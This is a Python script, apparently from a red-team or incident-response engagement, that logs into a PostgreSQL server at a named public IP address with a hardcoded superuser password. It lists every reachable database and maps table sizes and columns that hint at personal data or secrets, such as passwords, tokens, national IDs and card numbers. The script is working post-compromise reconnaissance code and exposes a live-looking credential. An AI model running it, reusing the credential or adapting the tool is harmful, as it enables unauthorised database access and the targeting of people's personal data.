#!/usr/bin/env python3
"""Breadth enumeration of all DBs on snwolley PG instance (engagement one-off).

kafkauser is superuser on 65.109.51.221:5542 (~40 DBs). Read-only:
per-DB -> public tables, row estimates, PII-signal columns. Checkpoint per DB
(L5_dbs/<db>.json) so a timeout kill loses nothing. Aggregate -> L5_db_map.json.

No row data fetched. Only information_schema + pg_stat metadata.
"""
import json, subprocess, time
from pathlib import Path

ROOT = Path('/root/ir-assessment/redteam/gitlab_npontutechnologies_com')
CKPT = ROOT / 'L5_dbs'
OUT = ROOT / 'L5_db_map.json'
LOG = ROOT / 'l5_enum.log'
HOST, PORT, USER, PW = '65.109.51.221', '5542', 'kafkauser', '0ArunW82jf$j0!ksh#ksP2eQ'

PII = ['password', 'passwd', 'secret', 'token', 'api_key', 'apikey', 'email', 'phone',
       'msisdn', 'momo', 'national_id', 'ghana_card', 'id_number', 'date_of_birth', 'dob',
       'address', 'passport', 'ssn', 'card_number', 'account_number', 'pin']

def psql(db, sql, timeout=60):
    r = subprocess.run(['psql', '-h', HOST, '-p', PORT, '-U', USER, '-d', db,
                        '-At', '--no-psqlrc', '-c', sql],
                       capture_output=True, text=True, timeout=timeout,
                       env={'PGPASSWORD': PW, 'PGCONNECT_TIMEOUT': '12', 'PATH': '/usr/bin:/bin'})
    return r.returncode, r.stdout.strip(), r.stderr.strip()

def main():
    CKPT.mkdir(exist_ok=True)
    log = LOG.open('a')
    rc, dbs, err = psql('postgres', "SELECT datname FROM pg_database WHERE datistemplate=false AND has_database_privilege(datname,'CONNECT') ORDER BY datname;")
    if rc != 0:
        print('FATAL list dbs:', err); return
    dblist = [d for d in dbs.splitlines() if d]
    print(f'[*] {len(dblist)} accessible DBs')
    results = {}
    for i, db in enumerate(dblist, 1):
        cf = CKPT / f'{db.replace("/", "_")}.json'
        if cf.exists():
            results[db] = json.loads(cf.read_text()); print(f'[{i}/{len(dblist)}] {db} cached'); continue
        rec = {'db': db}
        rc, size, _ = psql(db, 'SELECT pg_size_pretty(pg_database_size(current_database()));')
        rec['size'] = size
        rc, tables, _ = psql(db, "SELECT relname || '=' || n_live_tup FROM pg_stat_user_tables ORDER BY n_live_tup DESC LIMIT 40;")
        rec['top_tables'] = [t for t in tables.splitlines() if t]
        rc, ntab, _ = psql(db, "SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='public';")
        rec['table_count'] = ntab
        # PII-signal columns across public tables (capped)
        like = ' OR '.join(f"column_name ILIKE '%{p}%'" for p in PII)
        rc, pii, _ = psql(db, f"SELECT table_name || '.' || column_name FROM information_schema.columns WHERE table_schema='public' AND ({like}) LIMIT 60;", timeout=90)
        rec['pii_columns'] = [p for p in pii.splitlines() if p]
        results[db] = rec
        cf.write_text(json.dumps(rec, ensure_ascii=False, indent=1))
        line = f'[{i}/{len(dblist)}] {db}: {rec["size"]}, {rec["table_count"]} tables, {len(rec["top_tables"])} top, {len(rec["pii_columns"])} pii-cols'
        print(line, flush=True); log.write(line + '\n'); log.flush()
    OUT.write_text(json.dumps({'host': f'{HOST}:{PORT}', 'scanned_at': time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime()),
                               'db_count': len(dblist), 'dbs': results}, ensure_ascii=False, indent=1))
    print(f'[+] DONE {len(results)} DBs -> {OUT}'); log.close()

if __name__ == '__main__':
    main()